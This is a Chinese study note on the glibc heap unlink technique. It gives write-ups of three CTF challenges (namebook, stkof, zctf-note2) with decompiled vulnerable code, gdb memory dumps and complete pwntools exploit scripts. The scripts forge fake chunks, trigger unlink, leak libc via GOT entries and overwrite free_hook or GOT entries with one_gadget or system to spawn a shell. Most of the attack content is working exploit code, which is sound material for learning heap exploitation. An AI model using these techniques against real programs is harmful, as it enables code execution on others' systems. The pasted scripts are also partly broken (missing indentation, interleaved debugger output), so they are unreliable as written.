之前看了好久的unlink,现在回来再看一下,顺便写个笔记

unlink 原理

当创建几个满足smallbin大小的块时,如果有可能使数据溢出,那么在中间的一个chunk中可以伪造一个fakechunk,同时溢出至下一个chunk的头部,伪造pre_size为fakechunk的size,修改size处的标志位,使之认为前一个chunk为空。
那么在free nextchunk(chunk2)时,因为unlink的机制,会先检查前一块chunk1是否为空,如果通过检验,那么便会将其卸下,之后再检查nextnextchunk(chunk3),发现正在使用,则执行unlink

1
2
3
4
5
  
FD=P->fd
BK=P->bk
FD->bk = BK
BK->fd = FD

这样的操作在正常情况下会将空闲chunk卸下,但是在这样的伪造情况下,chunk1中的fakechunk便会进入chunklist。而在前面绕过unlink检查时,我们修改了fd与bk指针,使得P->FD->BK = P, P->BK->FD = P;为了能够得到对指针的控制,我们倾向于将其指向chunk1的指针所放置的内存之上,之后再修改chunk1的内容,实质上便是在修改自己的指针放置的位置及之后的指针,从而修改got表或者malloc_hook或free_hook之类的达到get_shell的目的。

使用heap-exploitation的例子来见证一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

struct chunk_structure {
size_t prev_size;
size_t size;
struct chunk_structure *fd;
struct chunk_structure *bk;
char buf[10]; // padding
};

unsigned long long *chunk1, *chunk2;
struct chunk_structure *fake_chunk, *chunk2_hdr;
char data[20];

// First grab two chunks (non fast)
chunk1 = malloc(0x80); // Points to 0xa0e010
chunk2 = malloc(0x80); // Points to 0xa0e0a0

// Assuming attacker has control over chunk1's contents
// Overflow the heap, override chunk2's header

// First forge a fake chunk starting at chunk1
// Need to setup fd and bk pointers to pass the unlink security check
fake_chunk = (struct chunk_structure *)chunk1;
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P

// Next modify the header of chunk2 to pass all security checks
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
chunk2_hdr->prev_size = 0x80; // chunk1's data region size
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit

// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
// This results in chunk1 pointer pointing to chunk1 - 3
// i.e. chunk1[3] now contains chunk1 itself.
// We then make chunk1 point to some victim's data
free(chunk2);

chunk1[3] = (unsigned long long)data;

strcpy(data, "Victim's data");

// Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL; // hex for "hacked!"

printf("%s\n", data); // Prints "hacked!"

namebook

h4lo大佬给的练习题,虽然相比后两个时间迟不久,但是因为比较简单,所以把插在前面

题目

依旧是练习题。

四个功能: add delete reset show

add 大小限制十个 , 固定malloc(0x10).
delete free完清空指针
reset 大小变为0x100 明显溢出
show 根据指针显示内容

保护:

1
2
3
4
5
6
7
$ checksec namebook
[*] '/home/sirius/tikool/prac/namebook/namebook'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

思路

先通过unlink 控制bss段存储指针的部分,然后泄露libc地址
有了libc地址之后复写malloc_hook 或free_hook 为one_gadget 就好

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *

context.log_level = 'debug'

sh = process('./namebook')
elf = ELF('./namebook')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

def allocate(idx,name):
sh.sendlineafter('>','1')
sh.sendlineafter('index:',str(idx))
sh.sendlineafter('name:',name)

def delete(idx):
sh.sendlineafter('>','2')
sh.sendlineafter('index:',str(idx))

def show(idx):
sh.sendlineafter('>','3')
sh.sendlineafter('index:',str(idx))

def reset(idx,name):
sh.sendlineafter('>','4')
sh.sendlineafter('index:',str(idx))
sh.sendlineafter('name:',name)


allocate(0,'a')
allocate(1,'b')
allocate(2,'c')
allocate(3,'d')

ptr_addr = 0x602040
#delete(1)
reset(0,p64(0x90)+p64(0x80)+p64(ptr_addr-0x18)+p64(ptr_addr-0x10)+'a'*0x60+p64(0x80)+p64(0x90))
delete(1)
#gdb.attach(sh)

reset(0,'a'*0x18+p64(elf.got['puts'])+p64(0x602040))
show(0)
puts_addr = u64(sh.recvuntil('\n',drop=True).ljust(8,'\x00'))
print 'puts_addr: '+hex(puts_addr)
libc_base = puts_addr - libc.symbols['puts']
print 'libc_base: '+hex(libc_base)
malloc_hook = libc_base + 0x3c4b10
print 'malloc_hook: '+hex(malloc_hook)
free_hook = libc_base + libc.symbols['__free_hook']
print 'free_hook: '+hex(free_hook)
one_gadget = libc_base + 0x4526a
#gdb.attach(sh)

reset(1,p64(free_hook))
reset(0,p64(one_gadget))

delete(2)

#gdb.attach(sh)
sh.interactive()

getshell结果:

1
2
3
4
[*] Switching to interactive mode
$ ls
core namebook namebookwp.py
$

stkof

条件

选项1:malloc_chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
signed __int64 malloc_chunk()
{
__int64 size; // [rsp+0h] [rbp-80h]
char *v2; // [rsp+8h] [rbp-78h]
char s; // [rsp+10h] [rbp-70h]
unsigned __int64 v4; // [rsp+78h] [rbp-8h]

v4 = __readfsqword(0x28u);
fgets(&s, 16, stdin);
size = atoll(&s);
v2 = (char *)malloc(size);
if ( !v2 )
return 0xFFFFFFFFLL;
::s[++index] = v2; // ::全局
printf("%d\n", (unsigned int)index, size);
return 0LL;
}

选项二:edit_chunk //完全没考虑之前malloc时的大小,直接溢出就对了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
signed __int64 edit_chunk()
{
signed __int64 result; // rax
int i; // eax
unsigned int index; // [rsp+8h] [rbp-88h]
__int64 size; // [rsp+10h] [rbp-80h]
char *ptr; // [rsp+18h] [rbp-78h]
char s; // [rsp+20h] [rbp-70h]
unsigned __int64 v6; // [rsp+88h] [rbp-8h]

v6 = __readfsqword(0x28u);
fgets(&s, 16, stdin);
index = atol(&s);
if ( index > 0x100000 )
return 0xFFFFFFFFLL;
if ( !::s[index] )
return 0xFFFFFFFFLL;
fgets(&s, 16, stdin);
size = atoll(&s);
ptr = ::s[index];
for ( i = fread(ptr, 1uLL, size, stdin); i > 0; i = fread(ptr, 1uLL, size, stdin) )
{
ptr += i;
size -= i;
}
if ( size )
result = 0xFFFFFFFFLL;
else
result = 0LL;
return result;
}

选项三:free_chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
signed __int64 free_chunk()
{
unsigned int v1; // [rsp+Ch] [rbp-74h]
char s; // [rsp+10h] [rbp-70h]
unsigned __int64 v3; // [rsp+78h] [rbp-8h]

v3 = __readfsqword(0x28u);
fgets(&s, 16, stdin);
v1 = atol(&s);
if ( v1 > 0x100000 )
return 0xFFFFFFFFLL;
if ( !::s[v1] )
return 0xFFFFFFFFLL;
free(::s[v1]);
::s[v1] = 0LL; // free and make it be 0
return 0LL;
}

分析

基本上没什么分析的。。。漏洞很明显,就是在告诉你来unlink。

思路就是malloc几个smallbin大小的chunk,之后伪造fakechunk unlink,
之后edit被伪造的fakechunk的chunk,修改free,atoi的got表,调用system(“/bin/sh”)获得shell
1.利用unlink修改修改GOT表。
2.泄露libc基址。
3.将free_got改成system_addr.
4.free一个内存块,其中的内容是”/bin/sh”。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
context.log_level = 'debug'
context.binary = "./stkof"
stkof = ELF('./stkof')
if args['REMOTE']:
p = remote('127.0.0.1', 7777)
else:
p = process("./stkof")
log.info('PID: ' + str(proc.pidof(p)[0]))
libc = ELF('./libc.so.6')
head = 0x602140 //ida可以直接看,全局分配在了bss段


def alloc(size):
p.sendline('1')
p.sendline(str(size))
p.recvuntil('OK\n')


def edit(idx, size, content):
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(size))
p.send(content)
p.recvuntil('OK\n')


def free(idx):
p.sendline('3')
p.sendline(str(idx))


def exp():
# trigger to malloc buffer for io function
alloc(0x100) # idx 1

alloc(0x30) # idx 2
# small chunk size inorder to trigger unlink
alloc(0x80) # idx 3
# a fake chunk at global[2]=head+16 who's size is 0x20


pwndbg> x/6gx 0x602140
0x602140: 0x0000000000000000 0x000000000244d020
0x602150: 0x000000000244d540 0x000000000244d580
0x602160: 0x0000000000000000 0x0000000000000000

pwndbg> x/100gx 0x000000000244d530
0x244d530: 0x0000000000000000 0x0000000000000041
0x244d540: 0x0000000000000000 0x0000000000000000
0x244d550: 0x0000000000000000 0x0000000000000000
0x244d560: 0x0000000000000000 0x0000000000000000
0x244d570: 0x0000000000000000 0x0000000000000091
0x244d580: 0x0000000000000000 0x0000000000000000
0x244d590: 0x0000000000000000 0x0000000000000000
0x244d5a0: 0x0000000000000000 0x0000000000000000
0x244d5b0: 0x0000000000000000 0x0000000000000000
0x244d5c0: 0x0000000000000000 0x0000000000000000
0x244d5d0: 0x0000000000000000 0x0000000000000000
0x244d5e0: 0x0000000000000000 0x0000000000000000
0x244d5f0: 0x0000000000000000 0x0000000000000000
0x244d600: 0x0000000000000000 0x0000000000020a01
0x244d610: 0x0000000000000000 0x0000000000000000



payload = p64(0) #prev_size
payload += p64(0x20) #size
payload += p64(head + 16 - 0x18) #fd
payload += p64(head + 16 - 0x10) #bk
payload += p64(0x20) # next chunk's prev_size bypass the check
payload = payload.ljust(0x30, 'a')
# overwrite global[3]'s chunk's prev_size
# make it believe that prev chunk is at global[2]
payload += p64(0x30)
# make it believe that prev chunk is free
payload += p64(0x90)
edit(2, len(payload), payload)
# unlink fake chunk, so global[2] =&(global[2])-0x18=head-8
free(3)
p.recvuntil('OK\n')
gdb.attach(p)


pwndbg> x/6gx 0x602140
0x602140: 0x0000000000000000 0x000000000244d020
0x602150: 0x0000000000602138 0x0000000000000000
0x602160: 0x0000000000000000 0x0000000000000000



# overwrite global[0] = free@got, global[1]=puts@got, global[2]=atoi@got
payload = 'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(
stkof.got['atoi'])
edit(2, len(payload), payload)
# edit free@got to puts@plt
payload = p64(stkof.plt['puts'])
edit(0, len(payload), payload)
gdb.attach(p)


pwndbg> x/6gx 0x602130
0x602130: 0x0000000000000000 0x6161616161616161
0x602140: 0x0000000000602018 //free 0x0000000000602020 //puts
0x602150: 0x0000000000602088 //atoi 0x0000000000000000


#free global[1] to leak puts addr
free(1)
puts_addr = p.recvuntil('\nOK\n', drop=True).ljust(8, '\x00')
puts_addr = u64(puts_addr)
log.success('puts addr: ' + hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
binsh_addr = libc_base + next(libc.search('/bin/sh'))
system_addr = libc_base + libc.symbols['system']
log.success('libc base: ' + hex(libc_base))
log.success('/bin/sh addr: ' + hex(binsh_addr))
log.success('system addr: ' + hex(system_addr))
# modify atoi@got to system addr
payload = p64(system_addr)
edit(2, len(payload), payload)
p.send(p64(binsh_addr))
p.interactive()


if __name__ == "__main__":
exp()

zctf-note2

其实和stkof差不太多

条件

  1. 创建 //最多只能有三个note,同时note大小最大128
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int NewNote()
{
char *note; // ST08_8
unsigned int v2; // eax
unsigned int size; // [rsp+4h] [rbp-Ch]

if ( (unsigned int)NoteNum > 3 )
return puts("note lists are full");
puts("Input the length of the note content:(less than 128)");
size = inputNum();
if ( size > 0x80 )
return puts("Too long");
note = (char *)malloc(size);
puts("Input the note content:");
ReadStr(note, size, 10);
RemovePercent(note);
ptr[NoteNum] = (__int64)note;
Len[NoteNum] = size;
v2 = NoteNum++;
return printf("note add success, the id is %d\n", v2);
}
  1. 修改 //两种方式,overwrite与append
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
puts("do you want to overwrite or append?[1.overwrite/2.append]");
v4 = inputNum();
if ( v4 == 1 || v4 == 2 )
{
if ( v4 == 1 )
dest = 0;
else
strcpy(&dest, src);
v0 = (char *)malloc(0xA0uLL);
v8 = v0;
*(_QWORD *)v0 = 'oCweNehT';
*((_QWORD *)v0 + 1) = ':stnetn';
printf(v8);
ReadStr(v8 + 15, 0x90LL, 10);
RemovePercent(v8 + 15);
v1 = v8;
v1[v6 - strlen(&dest) + 14] = 0;
strncat(&dest, v8 + 15, 0xFFFFFFFFFFFFFFFFLL);
strcpy(src, &dest);
free(v8);
puts("Edit note success!");

还有show的功能和delete的功能,这里就不展示了

分析

相比于stkof显而易见的漏洞,这个因为edit的操作较为复杂,漏洞没有那么容易出来,但是如果出来便可以直接利用。
在malloc时,可以输入size为0,这样将自动分配最小单位即0x20大小的chunk,但是在readstr时允许输入size-1大小的数,也就是0xffffffff,这样便足以溢出去修改。
free之后再申请同样大小的chunk,便会将其列入第四个chunk但是位置仍然在之前chunk1的位置,通过之前size的漏洞修改chunk3的pre_size及size得到unlink的条件。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
from pwn import *

sh = process('./note2')
note2 = ELF('./note2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'debug'


def newnote(length, content):
sh.recvuntil('option--->>')
sh.sendline('1')
sh.recvuntil('(less than 128)')
sh.sendline(str(length))
sh.recvuntil('content:')
sh.sendline(content)


def shownote(id):
sh.recvuntil('option--->>')
sh.sendline('2')
sh.recvuntil('note:')
sh.sendline(str(id))


def editnote(id, choice, s):
sh.recvuntil('option--->>')
sh.sendline('3')
sh.recvuntil('note:')
sh.sendline(str(id))
sh.recvuntil('2.append]')
sh.sendline(str(choice))
sh.sendline(s)


def deletenote(id):
sh.recvuntil('option--->>')
sh.sendline('4')
sh.recvuntil('note:')
sh.sendline(str(id))


sh.recvuntil('name:')
sh.sendline('siriuswhiter')
sh.recvuntil('address:')
sh.sendline('aaaaaaaaaaaaaaaaa')

# chunk0: a fake chunk
ptr = 0x0000000000602120
fakefd = ptr - 0x18
fakebk = ptr - 0x10
content = 'a' * 8 + p64(0x61) + p64(fakefd) + p64(fakebk) + 'b' * 64 + p64(0x60)
#content = p64(fakefd) + p64(fakebk)
newnote(128, content)
# chunk1: a zero size chunk produce overwrite
newnote(0, 'a' * 8)
# chunk2: a chunk to be overwrited and freed
newnote(0x80, 'b' * 16)

gdb.attach(sh)
# edit the chunk1 to overwrite the chunk2
deletenote(1)
content = 'a' * 16 + p64(0xa0) + p64(0x90)
newnote(0, content)
#gdb.attach(sh)
# delete note 2 to trigger the unlink
# after unlink, ptr[0] = ptr - 0x18
deletenote(2)
gdb.attach(sh)
# overwrite the chunk0(which is ptr[0]) with got atoi
atoi_got = note2.got['atoi']
content = 'a' * 0x18 + p64(atoi_got)
editnote(0, 1, content)
# get the aoti addr
shownote(0)

sh.recvuntil('is ')
atoi_addr = sh.recvuntil('\n', drop=True)
print atoi_addr
atoi_addr = u64(atoi_addr.ljust(8, '\x00'))
print 'leak atoi addr: ' + hex(atoi_addr)

# get system addr
atoi_offest = libc.symbols['atoi']
libcbase = atoi_addr - atoi_offest
system_offest = libc.symbols['system']
system_addr = libcbase + system_offest

print 'leak system addr: ', hex(system_addr)

# overwrite the atoi got with systemaddr
content = p64(system_addr)
editnote(0, 1, content)
gdb.attach(sh)
# get shell
sh.recvuntil('option--->>')
sh.sendline('/bin/sh')
sh.interactive()